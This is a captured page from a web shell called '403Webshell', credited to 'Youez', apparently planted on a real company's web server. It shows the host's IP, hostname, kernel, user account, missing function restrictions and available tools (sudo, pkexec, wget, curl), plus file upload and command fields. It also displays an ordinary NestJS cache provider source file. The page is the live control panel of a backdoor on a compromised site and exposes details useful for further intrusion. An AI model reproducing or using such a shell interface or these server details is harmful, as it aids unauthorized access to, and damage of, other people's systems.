403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/gadotticar/frete-api/node_modules/@nestjs/common/cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gadotticar/frete-api/node_modules/@nestjs/common/cache/cache.providers.js
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.createCacheManager = void 0;
const load_package_util_1 = require("../utils/load-package.util");
const cache_constants_1 = require("./cache.constants");
const cache_module_definition_1 = require("./cache.module-definition");
const default_options_1 = require("./default-options");
/**
 * Creates a CacheManager Provider.
 *
 * @publicApi
 */
function createCacheManager() {
    return {
        provide: cache_constants_1.CACHE_MANAGER,
        useFactory: async (options) => {
            const cacheManager = (0, load_package_util_1.loadPackage)('cache-manager', 'CacheModule', () => require('cache-manager'));
            const cacheManagerIsv5OrGreater = 'memoryStore' in cacheManager;
            const cachingFactory = async (store, options) => {
                if (!cacheManagerIsv5OrGreater) {
                    return cacheManager.caching(Object.assign(Object.assign({}, default_options_1.defaultCacheOptions), Object.assign(Object.assign({}, options), { store })));
                }
                let cache = 'memory';
                default_options_1.defaultCacheOptions.ttl *= 1000;
                if (typeof store === 'object') {
                    if ('create' in store) {
                        cache = store.create;
                    }
                    else {
                        cache = store;
                    }
                }
                else if (typeof store === 'function') {
                    cache = store;
                }
                return cacheManager.caching(cache, Object.assign(Object.assign({}, default_options_1.defaultCacheOptions), options));
            };
            return Array.isArray(options)
                ? cacheManager.multiCaching(await Promise.all(options.map(option => cachingFactory(option.store, option))))
                : cachingFactory(options.store, options);
        },
        inject: [cache_module_definition_1.MODULE_OPTIONS_TOKEN],
    };
}
exports.createCacheManager = createCacheManager;

Youez - 2016 - github.com/yon3zu
LinuXploit